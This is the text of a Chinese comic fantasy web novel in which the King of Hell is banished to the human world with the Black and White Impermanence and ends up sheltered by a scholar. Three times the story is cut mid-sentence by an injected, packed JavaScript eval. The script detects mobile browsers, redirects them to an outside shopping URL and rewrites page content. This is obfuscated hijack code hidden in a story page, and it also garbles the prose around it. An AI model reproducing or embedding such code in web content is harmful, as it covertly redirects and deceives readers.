《阎王人间打工记》 1. 直播翻车,地府吃瓜 第一章直播翻车,地府吃瓜 地府,森罗殿。 往日里庄严肃穆,唯有判官笔划过生死簿的沙沙声,以及偶尔传来的、受刑恶鬼遥远而模糊的哀嚎作为背景音的大殿,此刻正陷入一种前所未有的、令人窒息的寂静。 高踞于玄黑色阎君宝座上的,正是地府名义上的最高管理者——阎王。墨色长发未曾仔细束冠,几缕不羁地垂落额前,衬得他那张本该威严肃穆的俊脸更添几分慵懒。一双本该洞察阴阳、不怒自威的凤眼,此刻正半眯着,眼尾微微上挑,流露出的不是威严,而是一种“好烦,想下班,这破班一天也不想上了”的强烈摆烂气息。他身上那袭象征身份的玄色阎君袍服,穿得也有些随性,领口微敞,整个人几乎要陷进宽大的座椅里,指尖有一下没一下地敲着扶手,盯着面前悬浮的、散发着幽幽蓝光的巨大光幕。 光幕之上,并非寻常的生死簿页面,而是一个名为“忘川一家人(500)”的群聊界面,正在被疯狂刷屏。 【牛头:@全体成员紧急通知!帝君驾临!已至殿外!各单位注意仪态!重复,各单位注意仪态!】 【马面:收到!已把刚从油锅里捞出来的炸鬼藏好了!】 【首席判官·崔:……马面,你重点错了。陛下,请您正衣冠!快!】 【孟婆:哇!帝君老人家几百年不来一次,这次是突击检查吗?我新熬的汤底还没调好味呢!】 【日夜游神联动号:目击确认!帝君法驾已入鬼门关,气场低压,面色不虞。over。】 【白无常:@黑无常老黑老黑!有大瓜!速来森罗殿围观!】 【黑无常:……值班,勿扰。】 【夜游神甲:报告!我看到帝君手里好像拿着一份……卷轴?金光闪闪的那种!】 【日游神乙:补充报告!卷轴标题疑似……《关于地府管理漏洞的调查报告》……】 【众鬼差:……】 【众鬼差:卧槽?!】 刷屏骤然停止了一瞬。 宝座上的阎王敲击扶手的指尖猛地一顿,那双半眯的凤眼瞬间睁大,瞳孔微缩。他下意识地坐直了身体,试图挽救一下自己过于放松的形象,但显然为时已晚。 一股浩瀚无匹、凌驾于一切阴司法则之上的威压,如同无声的海啸,瞬间席卷了整个森罗殿。殿内侍立的鬼差、判官,包括刚刚还在群里活跃的牛头马面,全都噤若寒蝉,齐刷刷地跪伏下去,连大气都不敢喘。 金光万道,瑞彩千条,一道伟岸的身影已然无声无息地出现在大殿中央,正是统御三界、至高无上的帝君。他面容笼罩在朦胧神光中,看不真切,唯有一双眸子,清澈如同蕴含宇宙生灭,此刻却冰冷如万载玄冰。他手中,确实握着一卷金册。 阎王从宝座上起身,微微躬身:“帝君,您老日理万机,还有空视察我们这穷乡僻壤?是蟠桃会酒水不够,还是嫦娥仙子的舞不好看了?” 白无常在心里哀嚎:我的王诶,您就少说两句吧! “阎罗。”帝君开口,声音不高,却清晰地传入每一个存在的“耳”中,带着不容置疑的威严,“解释。” 阎王深吸一口气,努力维持着地府之主的架子:“不知帝君要臣解释何事?” 帝君的声音听不出喜怒,却带着不容置疑的威严,“近日本座巡查三界,发现人间秩序颇有紊乱。寿数未尽者横死,阳寿已尽者滞留,甚至……有本该投入畜生道的魂魄,错投了帝王家。” 阎王瞳孔一缩,随即打着哈哈:“哦?有这事?许是下面人办事不力,我回头好好整顿整顿。” “办事不力?”帝君的声音微扬,“据本座所知,三月前,你批阅生死簿时,将东海边一渔夫‘捕鱼为生’写成‘补天为生’,导致其魂魄直飞九霄,差点撞上女娲娘娘的补天石残片。” 阎王:“……那是笔误,后来不是让黑白无常给追回来了嘛。” “一月前,你记错南瞻部洲一国君的生辰,提前三日派勾魂使者前往,吓得那位国君当场中风,如今龙体欠安,朝局动荡。” 阎王摸了摸鼻子:“这个……地府计时器可能有点误差,回头我换个新的。” “三个时辰前,”帝君的声音终于带上了一丝显而易见的无奈,“花果山那位,其名下阳寿记录突然被手动修改,增添了‘误勾’标注,且试图将其魂魄强行拘回地府!” 此言一出,整个森罗殿,连带着殿外偷听的鬼差们,集体倒吸一口冷气。 阎王额角沁出一滴冷汗,面上却强自镇定:“回帝君,此乃……此乃地府内部数据核查流程,偶有疏漏,正在进行修正……” “修正?”帝君打断他,语气带着一丝讥诮,“修正到那猴头直接抡着金箍棒,再次打穿了你的鬼门关,拆了半座望乡台,指着你的鼻子骂你‘老眼昏花,徇私舞弊’?若非太白金星恰好路过阻拦,你这森罗殿,是不是也要重温一遍当年被掀翻的旧梦?” 【忘川一家人(500)】 【众鬼差:!!!真是猴哥!他又来了!还是因为阳寿!历史总是惊人的相似!】 【孟婆:我就说今天的汤底怎么老是串味,原来是有大圣爷的怒气加成……】 【白无常:我就知道!陛下昨天一边批阅生死簿一边打瞌睡,果然出事了!他还用朱笔在猴哥的名字上画了个叉,说看着烦!】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800928|190700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【黑无常:……闭嘴,白。不想形神俱灭就安静吃瓜。】 阎王脸上闪过一丝心虚:“那猴子……他不是早就不归我们管了吗?我就那么随便一勾……” “正因他早已超脱三界,你这一勾,直接引动天道反噬,导致与他有因果牵连的数百妖族命格紊乱!”帝君的声音陡然严厉,“工作期间精神懈怠,处理要务敷衍塞责,关键数据随意涂改,引发重大涉外事件,事后还企图狡辩遮掩。阎罗,你这地府之主,当得太安逸了。” 他抬手,指尖一点神光绽放,瞬间笼罩了整个森罗殿,甚至穿透虚空,连接了所有天庭地府在职人员的“神识”。 “即日起,剥夺阎罗地府主宰之权,封印其九成神力,打入人间,体验民生疾苦,何时还清此次失误造成的损失与不良影响,何时再议归位之事!” “黑白无常,身为近侍,未能及时谏阻,监管不力,一同受罚,随之下界!” “此判罚,天庭地府全员,实时观礼,以儆效尤!” 直播,开启! 所有神仙鬼差,无论身在何处,脑海中都强制弹出了森罗殿的实时画面,以及帝君那不容置疑的宣判声。 【忘川一家人(500)】 【牛头:直播贬谪?!帝君玩这么大?!】 【马面:陛下!我的陛下!(哭丧脸.jpg)】 【首席判官·崔:唉……早劝陛下少用朱笔画叉……】 【孟婆:@白无常@黑无常小白老黑!你们也要走了?记得带点人间特产回来啊!】 【夜游神:等等,损失怎么算?人间现在物价怎么样?陛下他们会不会饿死?】 【日游神:连启动资金都不给?】 【众鬼差:……啊这。】 阎王彻底懵了。他没想到帝君如此不留情面,而且还是全网直播!他试图调动神力反抗,却发现自己与地府法则的联系被瞬间切断,周身澎湃的神力如同潮水般退去,只剩下微弱的一丝在体内流转。 “帝君!你不能……”他还想挣扎。 帝君根本不给他机会,袖袍一挥,一道金光卷起阎王,以及闻讯赶来、刚踏入殿门同样一脸错愕的黑白无常,化作一道流星,直接穿透地府层层空间,投向那遥远的人间界。 阎王只觉得周身一轻,眼前的森罗殿开始扭曲、模糊,耳边只剩下帝君最后一句威严的宣告,以及……隐约从四面八方传来的、压抑不住的窃窃私语和鬼差们“我王保重”的哭嚎,其中似乎还夹杂着“终于能放年假了”的欢呼?。 而直播画面,在阎王那张写满了“不敢置信”、“憋屈”、“想骂娘”的俊脸特写中,戛然而止。 2. 初来乍到,托梦翻车 日头渐渐西沉,最后一丝暖光被墨蓝色的夜幕吞噬。荒郊野外的气温骤降,冷风嗖嗖地刮过,吹得那棵歪脖子树呜呜作响,更添几分凄凉。 三道身影蜷缩在树下,正是被帝君一脚踹下人间、饥寒交迫的前地府管理团队——阎王、黑无常和白无常。 “阿嚏!”白无常打了个响亮的喷嚏,揉了揉冻得发红的鼻子,声音带着哭腔,“公子……咱、咱们不会成为三界有史以来第一批饿死、冻死的鬼神吧?这、这要是上了《冥闻联播》头条,标题我都想好了:《惊!地府高管人间再就业,出师未捷身先死》……” 阎王裹紧了身上那件如今只是普通布料的玄色衣袍,依旧冻得脸色发青。他恶狠狠地瞪了白无常一眼,可惜饿得没了力气,那眼神威慑力大减:“闭、闭嘴!再聒噪,本君先把你拆了当柴烧!”只可惜,威胁的话也被牙齿打颤的声音削弱了几分。 黑无常沉默地靠坐在树干上,闭目养神,但紧抿的唇线和微微蹙起的眉头,也暴露了他此刻状况不佳。作为武力担当,他消耗的体力更大,饥饿感也更强烈。 “咕噜噜——”此起彼伏的腹鸣声,成了这寒夜里唯一的“交响乐”。 “不行,不能坐以待毙!”阎王猛地站起身,虽然腿有点软,但态度很坚决,“白无常!” “小的在!”白无常一个激灵。 “你的‘托梦’之术,还能用吗?”阎王抱着最后一丝希望问道。白天他们试过找野果、想打猎,甚至试图用阎王残留的微弱言灵变出点吃的,结果只让一片叶子看起来像烧饼,还不能吃,全部失败。如今夜幕降临,凡人大多入睡,正是托梦的好时机。 白无常苦着脸:“公子,神力被封印了九成九,托梦……距离不能太远,目标不能太模糊,而且效果肯定大打折扣,就像……就像信号不好的千里传音,可能断断续续的。” “信号不好也得试!”阎王指着远处城池方向隐约亮起的零星灯火,“找个看起来最有油水的!告诉他,他祖宗在地下缺衣少食,让他赶紧到城外西南方向这片林子布施!否则祖宗不高兴,家宅不宁!” 这主意听起来依旧不怎么光彩,但比起饿死冻死,面子算什么?地府高管能屈能伸! “是!”白无常领命,再次盘膝坐下,深吸一口气,努力调动那丝微弱的神力,开始感应、搜寻。 这一次,因为夜晚降临,凡人精神放松,入梦者众多,白无常的感应清晰了不少。他很快锁定了一个目标——城里最有钱的王富商,此刻正在梦中盘点他的金银财宝。 “找到了!”白无常低呼一声,集中精神,将一道蕴含着“祖宗诉求”的神念,如同发射一道微弱的信号波,朝着王富商的梦境传递过去。 阎王和黑无常屏息凝神地看着。 一开始,似乎很顺利。白无常脸上甚至露出一丝得意的笑容,显然成功连接并开始“植入”信息了。 一刻钟过去,白无常额头见汗。 两刻钟过去,白无常开始龇牙咧嘴。 白无常发送的神念:“汝乃王家不肖子孙!祖宗在地下缺衣少食,饥寒交迫!速备金银食物,于明日午时前,送至城外西南方向歪脖子树下,布施于三位……呃,落难贵人!不得有误,否则家宅不宁,财运受阻!” 而王富商梦境因为信号不良断断续续,接收到的是:“……王家……子孙……祖宗……饥寒……(信号中断)……西南方向……(滋滋杂音)……歪脖子……(模糊)……三位……(刺耳噪音)……落难……(信号恢复一点)……家宅不宁……财运……(彻底断开)” 王富商在梦里迷迷糊糊,只捕捉到了一些关键词:“王家”、“祖宗”、“饥寒”、“西南方向”、“歪脖子”、“三位”、“落难”、“家宅不宁”、“财运”。 他的大脑自动将这些碎片化的、充满不祥意味的词语组合了起来,形成了一个让他毛骨悚然的结论:西南方向的歪脖子树下,有三个饥寒交迫的“落难”的……很可能是孤魂野鬼或者讨债的祖宗?!要找上他王家,导致家宅不宁、破财?! 白无常猛地睁开眼睛,脸色比刚才还白,带着难以置信的神情。 “怎么样?他答应了吗?”阎王急切地问。 白无常哭丧着脸,声音都在发抖:“公、公子……坏、坏事了!信号太差,好像传岔劈了!” “什么意思?” “那、那王富商好像理解成……西南方向歪脖子树下有三个‘讨债的饿死鬼祖宗’要找他麻烦!他、他吓得在梦里直磕头,说明天一早就去请金山寺的高僧来做水陆道场,超度亡灵,绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800929|190700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对不让那三个‘东西’靠近他家宅半步!” 阎王:“……” 黑无常:“……” 空气死一般寂静。 半晌,阎王缓缓抬手,捂住了脸,肩膀微微颤抖。不是哭,是气的。 他放下手,露出一张生无可恋的脸,看着白无常,语气平静得可怕:“所以,白无常,你不仅没给我们找来吃的,没给我们找来钱,还成功地……帮我们在这个片区打出了‘讨债饿死鬼三人组’的名号,并且提醒了本地最大富商,明天要请专业人士来对付我们?” 白无常“噗通”一声跪下了,抱着阎王的腿:“公子饶命啊!是信号不好!是帝君封印得太狠了!小的冤枉啊!” 黑无常默默望天,觉得今晚的星星格外刺眼。 最后一丝希望,彻底宣告破灭,还附赠了潜在的“驱鬼”风险。前路,似乎一片黑暗。 就在这绝望弥漫之际,黑无常的耳朵再次一动。 远处官道方向,传来了不同于寻常夜归人的、更为清晰规整的车轮声和马蹄声,似乎还有灯笼的光晕在晃动。 “公子,有官轿。”黑无常低声道,声音里也带上了一丝不易察觉的紧迫。这是他们今夜,可能也是未来很长一段时间内,最后的机会了。 阎王深吸了一口冰冷的夜气,将所有的憋屈、愤怒和那点可怜的尊严统统压了下去。他整理了一下衣袍,尽管它又皱又脏。 “听着,”他的声音沙哑,却带着背水一战的决绝,“拦轿子。能不能活过今晚,就看这一遭了。” 他看准那轿辇在灯笼映照下越来越近的轮廓,猛地从树后冲出,用尽最后力气,以一个“虚弱不堪、即将昏厥”的姿态,软软地摔倒在官道中央。 “救……救命……”他气若游丝。 黑白无常紧随其后,戏精再次上身,声音凄切: “公子!公子您撑住啊!” “救命啊!有好心人救救我家公子吧!” 开道的侍卫被这突然倒在路中间的人吓了一跳,厉声呵斥,轿辇随之停下。 一只骨节分明的手,挑开了轿厢侧面的小窗绸帘。一张温润如玉、在灯笼光晕下更显清俊的脸庞探了出来,目光沉静地看向倒在地上的阎王,以及他身边那两个演技浮夸的“随从”。 3. 狭路相逢,反将一军 夜色浓重,官道上唯有这队车马带来的光亮和人声。灯笼在夜风中轻轻摇曳,在阎王苍白(饿的)又虚弱(装的)的脸上投下明明灭灭的光影。 开道的侍卫显然训练有素,虽被突然窜出的人影惊了一下,但并未慌乱,迅速勒住马匹,手按在了腰间的佩刀上,厉声喝道:“前方何人挡道?!惊扰状元爷仪驾,该当何罪!”声音在寂静的夜空中传得老远。 “救……救命……”阎王趴在地上,感觉冰冷的土地硌得他生疼,胃里更是火烧火燎。他努力维持着“奄奄一息”的姿态,心里却在疯狂吐槽:这破地怎么这么硬!这凡人的身子怎么这么不顶饿!还有这侍卫,嗓门真大,震得他耳朵嗡嗡的。 黑白无常此刻也戏精附体,扑在阎王身边,声音那叫一个凄切惨绝。 白无常带着哭腔:“官爷!行行好!救救我家公子吧!我们本是北地行商,途经此地遭了山匪,盘缠财物被劫掠一空,仆从失散,就剩我们主仆三人侥幸逃脱,已经……已经两天水米未进了啊!”他一边说,一边偷偷掐了自己大腿一把,疼得眼泪瞬间就在眼眶里打转,配合他那张清秀的脸,倒真有几分落难小书童的可怜相。 黑无常则沉默地单膝跪地,试图将阎王“虚弱”的身躯扶起,他扮演的冷面护卫此刻眉头紧锁,嘴唇干裂,虽然不说话,但那紧抿的唇线和周身散发出的、因饥饿和疲惫而难以完全收敛的、一丝若有若无的煞气(常年勾魂带来的职业后遗症),反而更增添了几分落难高手被迫屈尊求助的憋屈与真实感。 轿辇稳稳停下。抬轿的轿夫和随行的仆从都好奇又警惕地看着这突然冒出来的三人组。这组合着实有些奇怪:中间那位公子,虽然衣衫皱巴、形容狼狈,但那容貌气度,绝不像寻常商贾子弟,倒像是哪个世家大族跑出来的娇贵少爷。旁边的护卫,眼神太利,不像普通家丁。那小书童,哭得倒是情真意切,就是眼神太过灵动,滴溜溜乱转。 就在气氛有些凝滞时,那青绸轿辇侧面的小窗绸帘,被一只骨节分明、修长白皙的手轻轻掀开。灯笼的光晕恰到好处地照亮了轿中人的半张侧脸。 温润如玉,清雅如竹。这是阎王的第一印象。那人生得极好,眉目疏朗,鼻梁挺直,唇色偏淡,嘴角似乎天然带着一丝若有若无的弧度,像是随时都在温和地微笑。他穿着一身月白色的常服,料子细腻,在灯光下泛着柔和的光泽,更衬得他气质清贵,卓尔不群。 此人正是新科状元,谢长安。 谢长安的目光平静地扫过现场,先是落在演技浮夸的白无常身上,停留一瞬,眼底似乎掠过一丝极淡的笑意,随即转向努力扮演“昏迷”却因为肚子不争气地又叫了一声而身体微僵的黑无常,最后,他的视线定格在了趴在地上、侧着脸、努力维持虚弱表情的阎王脸上。 他的目光沉静如水,带着一种洞察人心的力量,让阎王没来由地感到一阵心虚,仿佛自己那点小心思在这目光下无所遁形。 “怎么回事?”谢长安开口,声音如同玉石相击,清朗温润,在这寒夜里听起来格外舒服,也……格外让阎王紧张。 那开道侍卫连忙回身禀报:“回状元爷,是三个落难之人拦路求救,说是遭了匪劫,饥寒交迫。” 谢长安微微颔首,目光再次落回阎王身上,并未立刻说施救或是驱赶,反而像是仔细端详着他的面相,片刻后,才缓声道: “这位公子,”他的语调不疾不徐,却清晰地传入每个人耳中,“请恕谢某直言。” 阎王心里咯噔一下,有种不妙的预感。 果然,只听谢长安继续道,语气带着一种仿佛医者断症般的平和与确凿:“观阁下印堂之处,隐有青黑之气缭绕不散,此非寻常病气,倒像是……运势跌至谷底,晦气缠身之兆。眉宇间神光黯淡,气息虚浮游离于体表,乃是魂不守舍,诸事不顺之相。若在下所观不差,公子近日岂止是衣食无着,怕是流年不利,祸不单行,乃至……有血光之灾临头之险?” 阎王:“!!!” 他脑子里“嗡”的一声,像是被一道天雷劈了个正着! 阎王活过的岁月,比这条街上的石板路年纪还大,什么大风大浪没见过?被孙悟空砸过场子,被冤魂厉鬼组团投诉过,甚至因为克扣孟婆汤原料被孟婆举着勺子追杀了半个幽冥界…… 印堂发黑?晦气缠身?魂不守舍?血光之灾?! 这、这他妈不是他当年刚上任时,为了唬住那些不老实的恶鬼,跟着地府老油条判官学的、专门用来吓唬鬼的江湖术士套话吗?!虽然某种程度上也能反映一些气运流转,但从来都是他居高临下对别人说,何曾被人如此精准地、一字一句地反扣在自己头上?! 他下意识就想反驳,想冷笑,想用残存的那点威压让这个不知天高地厚的凡人状元知道知道,谁才是掌管“血光之灾”的祖宗! 可话到嘴边还是吞了回去,因为这家伙说得也太准了吧?!运势跌至谷底(都被贬下凡了能不走背字吗)?晦气缠身(刚被帝君骂完踹下来能没晦气吗)?魂不守舍(饿得头晕眼花能神采奕奕吗)?诸事不顺(托梦都能托成反向预警能顺利吗)?血光之灾(再没吃的可能真要饿死了这不算血光之灾吗)?! 每一句都像是一支冷箭,精准地射中他此刻最真实的窘境! 黑白无常也彻底懵了。白无常忘了哭,张着嘴,呆呆地看着轿中那个温文尔雅的状元郎,心里疯狂呐喊:同行!这绝对是同行!还是业务水平极高的那种!连公子的跟脚都差点被看穿了! 黑无常扶着阎王的手臂不自觉地收紧,全身肌肉绷紧,进入了高度戒备状态。此人绝非普通书生!他能感觉到对方身上有一种奇异的气场,并非修行者的灵力,也非妖鬼的邪气,而是一种……难以言喻的、清正而浩瀚的力量,让他本能地感到威胁。 阎王他强行压下翻腾的气血,从牙缝里挤出反驳,试图挽回一点摇摇欲坠的尊严:“呵……胡、胡说八道!本……本公子好得很!什么印堂发黑,血光之灾?我看你才是一派胡言,危言耸听!”可惜,他饿得中气不足,这话说出来,怎么听都像是色厉内荏。 谢长安闻言,非但不恼,唇角那抹若有若无的弧度反而加深了些许,看着阎王的眼神,就像在看一只明明已经炸毛却还要强装镇定的猫儿。 “哦?”他轻轻一个反问,语调微微上扬,带着几分玩味,“那为何公子与二位随从,面色苍白并非病态而是饥馑所致,唇干裂而非风寒,气息短促源于腹内空空?三位衣衫虽料子上乘,却沾满夜露尘土,破损处并非利器所伤而是荆棘刮擦,显是于这荒郊野岭挣扎已久,并非刚刚遇匪。” 他顿了顿,目光扫过阎王因为被他戳穿而微微握紧的拳头,以及黑白无常瞬间不自然的神色,继续慢条斯理地分析,逻辑清晰得令人发指: “此官道虽是通往京城,但入夜后少有行人,更别提商队。三位在此刻拦轿,若非真是走投无路,山穷水尽,又何至于行此……略显仓促之下策?”他将“碰瓷”二字委婉地替换成了“略显仓促之下策”,但其中的意味,在场只要不傻都能听懂。 阎王被这一连串精准的“暴击”打得哑口无言,一张俊脸涨得通红,偏偏又无法反驳。这家伙的眼睛是尺子做的吗?观察得这么细!逻辑还这么严密!这让他怎么接?承认自己就是来碰瓷的?那估计立刻就会被侍卫当成宵小之徒乱棍打走!不承认?人家已经把证据链甩他脸上了! 他张了张嘴,却发现任何辩解在此刻都显得苍白无力,只能狠狠地瞪着轿中那个笑得像只狐狸的混蛋状元,胸口剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800930|190700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈起伏,感觉自己几千年来积攒的威仪和脸面,在今天晚上,在这荒郊野岭,被这个凡人按在地上摩擦! 谢长安看着他气急败坏又无可奈何的样子,眼底笑意更深,似乎觉得十分有趣。他不再紧逼,放下了绸帘,清润的声音从轿内传出,带着一种仿佛施恩般的温和: “相遇即是缘分。谢某虽不才,亦不忍见三位落难至此。若三位不嫌弃谢某府邸简陋,可随我回府暂歇。府中正巧缺几位……嗯,身手矫健的护卫与伶俐懂事的书童。” 他特意在“身手矫健”和“伶俐懂事”上微微加重了语气。 “三位若无更好的去处,或许可在谢某府中谋个差事,暂且安身立命,也好渡过眼前难关。不知意下如何?” 护卫?书童? 让执掌生死簿的阎罗天子、让勾魂索命的黑白无常,去给一个凡人状元郎当护卫和书童?! 奇耻大辱!简直是罄竹难书的奇耻大辱! 阎王只觉得一股腥甜涌上喉咙,差点真的喷出一口老血。他几乎要不管不顾地跳起来,指着轿子破口大骂,然后拉着黑白无常扭头就走,宁愿饿死冻死也不受这嗟来之食! 然而,就在这时,他的肚子再次发出了惊天动地的“咕噜”声,声音之响亮,在寂静的夜里甚至压过了风声。与此同时,一阵更猛烈的夜风吹过,冻得他猛地打了个哆嗦,那点刚刚升起的、微弱的骨气,瞬间被生理上的极度需求击得粉碎。 白无常在一旁弱弱地、带着哭音地小声劝道:“公、公子……识时务者为俊杰……留得青山在不怕没柴烧啊……有瓦遮头,有热汤饭……总比……总比真应了那血光之灾强啊……”他说着,还配合地揉了揉自己饿得瘪瘪的肚子。 黑无常虽然依旧沉默,但那紧抿的唇线和微微侧头避开阎王视线的动作,也清晰地表达了他的态度——形势比人强,低头是为了活下去。 阎王僵在原地,脸色变幻莫测,一会儿青一会儿白,内心进行着天人交战。尊严在疯狂呐喊,而生存的本能却在拼命拉扯。他看着那顶安静的、仿佛在耐心等待他决定的轿子,又感受着刺骨的寒风和空瘪的胃袋…… 最终,对温暖、食物以及“避免真的饿死街头成为三界笑柄”的强烈渴望,以压倒性优势战胜了他那所剩无几的、摇摇欲坠的、属于阎罗天子的骄傲。 他极其艰难地、几乎是从喉咙深处挤出了几个字,声音低哑,充满了屈辱和自暴自弃: “……多、多谢……叨扰了。” 每一个字,都像是有千斤重,砸得他头晕眼花。 轿内,传来一声几不可闻的、仿佛计谋得逞般的低笑。 “起轿。回府。” 轿夫们重新抬起轿子,仪仗再次启动。侍卫看了他们一眼,示意他们跟上。 阎王在黑无常的“搀扶”下,脚步虚浮地跟在轿子旁边,白无常耷拉着脑袋跟在后面。阎王感觉自己的灵魂仿佛都已经出窍,麻木地看着前方那晃动的轿影,心中一片悲凉。 想他堂堂地府之主,掌亿万生灵轮回,如今却沦落到要给一个凡人当“护卫”混饭吃?这要是让地府那群正在吃瓜的混账知道了,怕不是要笑到忘川河水倒流? 而这一切的始作俑者,除了那个该死的猴子和自己手贱画的那个叉,就是轿子里这个看似温润、实则腹黑至极的小白脸状元! 谢长安…… 阎王在心里默念着这个名字,咬牙切齿。 他记住了!这个梁子,算是结下了!总有一天……总有一天…… 他正发着狠,肚子又“咕”地叫了一声,打断了他的复仇幻想。 唉,算了,还是先想想怎么混过今晚,填饱肚子再说吧。 这人间,好像比他想象中,还要不好混啊。 4. 入住状元府,阎王嫌床硬 夜色渐深,京城街道上寂静无声,只有更夫敲梆的声音在巷弄间回荡。阎王跟在谢长安的轿辇后,玄色衣摆在夜风中微微飘动,衬得他脸色愈发不悦。 "这人间连走路都要受拘束,宵禁时辰这么早,比地府的鬼门关关得还早。"他低声抱怨,脚下却不得不跟着轿辇的速度。 白无常凑近小声道:"公子您看,谢大人的轿夫脚步稳健,一看就是练家子。这状元府不简单。" 黑无常默默观察着四周环境,右手始终按在腰间佩刀上:"三条暗巷,两处可设伏。" 阎王冷哼一声:"本君倒是要看看,这谢长安究竟是何方神圣。" 终于,轿辇在一座府邸前停下。朱红大门上悬挂着"谢府"匾额,门前两座石狮子在月光下显得庄严肃穆。更让阎王注意的是,府邸四周隐隐流动着一层极淡的金光,竟是难得的祥瑞之气。 "这府邸..."阎王眯起眼睛,"竟有文气护持。" 谢长安下了轿,见阎王盯着府门出神,便温声道:"寒舍简陋,让颜公子见笑了。" 阎王收回目光,故意挑剔道:"确实简陋,连个像样的门神都没有。" 谢长安不以为意,反而笑道:"门神易请,知音难觅。颜公子能来,便是蓬荜生辉。" 这话说得滴水不漏,让阎王一时语塞。他盯着谢长安看了片刻,忽然道:"谢大人这般热情,就不怕引狼入室?" 谢长安眸光微动,唇角笑意更深:"若是颜公子这样的''狼'',谢某求之不得。" 两人对视间,似有暗流涌动。白无常在一旁看得津津有味,被黑无常拽了一把才收敛表情。 进了府门,福伯早已候在影壁前。这位老管家虽然年迈,眼神却格外锐利,在阎王三人身上扫过时,微微皱了下眉。 "少爷,听竹轩已经收拾妥当。"福伯躬身道,"只是这三位客人..." "无妨。"谢长安摆手,"颜公子是我的贵客,你们要好生伺候。" 阎王听着这番对话,心里越发觉得这状元府不简单。寻常人家见到他们三个来历不明的"落难之人",多少会有些戒备,可这谢长安从始至终都太过从容。 穿过回廊时,阎王故意放慢脚步,指尖在廊柱上轻轻划过。一股微弱的灵力波动传来,让他心中一惊——这府邸竟处处暗藏玄机。 "颜公子对建筑也有研究?"谢长安不知何时放缓脚步,与他并肩而行。 "略懂。"阎王收回手,"谢大人这府邸,倒是别具一格。" "不过是些寻常布置罢了。"谢长安语气淡然,却意有所指,"比起颜公子见识过的,想必不值一提。" 听竹轩内,阎王对床铺的嫌弃达到了顶点。他不仅亲自试了床板的硬度,还仔细检查了被褥的材质,最后得出结论:"这等粗劣之物,便是地府的枉死城都比这舒适。" 福伯脸色已经十分难看,白无常赶紧打圆场:"公子,咱们初来乍到,还是将就一下吧?" "将就?"阎王挑眉,"本...本公子从不知''将就''二字怎么写。" 就在气氛僵持时,谢长安缓步走进来,伸手在床板上按了按,点头道:"确实硬了些。福伯,去把我书房那张紫檀木榻搬来。" "少爷!"福伯惊呼,"那可是御赐..." "既是御赐之物,更该物尽其用。"谢长安语气温和却不容置疑,"颜公子身份尊贵,理当用最好的。" 阎王听到这话,心中警铃大作。他盯着谢长安,试图从对方脸上找出破绽:"谢大人为何待我如此特殊?" 谢长安迎着他的目光,坦然道:"颜公子非常人,谢某自然要以非常之礼相待。" 这话说得意味深长,两人之间的气氛再次变得微妙。白无常在一旁拼命给黑无常使眼色,被黑无常一个眼神制止。 待福伯领着下人搬来紫檀木榻,铺上柔软的锦被,阎王的脸色才稍霁。他伸手摸了摸被面,忽然道:"这料子...是江南云锦?" 谢长安眼中闪过一丝讶异:"颜公子好眼力。" "这等贡品,便是王公贵族也难得一见。"阎王意味深长地看着谢长安,"谢大人一个翰林院修撰,竟能用得上?" "机缘巧合所得罢了。"谢长安从容应对,"倒是颜公子,连贡品的来历都如此清楚,才真是让人意外。" 两人你来我往,句句暗藏机锋。白无常在一旁听得冷汗直流,黑无常的手始终没有离开刀柄。 就在这时,窗外忽然传来翅膀扑棱的声音。一只通体漆黑的冥鸦落在窗台上,歪着头打量着屋内众人。 "这鸟儿倒是特别。"谢长安饶有兴趣地走近。 冥鸦不但不怕生,反而跳上他的手臂,亲昵地蹭了蹭他的手指。 阎王心中大惊。冥鸦是地府灵禽,向来不亲近生人,更别说如此温顺。他强作镇定道:"不过是一只野鸦罢了。" "是吗?"谢长安轻轻抚摸着冥鸦的羽毛,冥鸦舒服地眯起眼睛,"我倒觉得它很有灵性。" 冥鸦享受完抚摸,忽然从翅膀下抖出一个小纸卷,正好落在谢长安手中。 阎王脸色顿变,正要上前抢夺,谢长安已经展开纸卷念道:"''陛下,地府公务积压,速归''..."他念到这里,抬头看向阎王,眼中带着玩味的笑意,"颜公子的家人,倒是很有趣。" 白无常倒吸一口凉气,黑无常已经握紧了刀柄。阎王面沉如水,冷声道:"谢大人看错了,那不过是..." "不过是个玩笑,我明白。"谢长安善解人意地接过话头,将纸卷递还给阎王,"颜公子家中想必是开戏班的,所以家书都写得这般有趣。" 阎王接过纸卷,指尖微微发抖。他死死盯着谢长安,试图从对方含笑的眼中找出什么,却只看到一片深不见底的平静。 冥鸦完成任务,得意地叫了一声,又从翅膀下抖出另一个纸卷,这才振翅飞走。 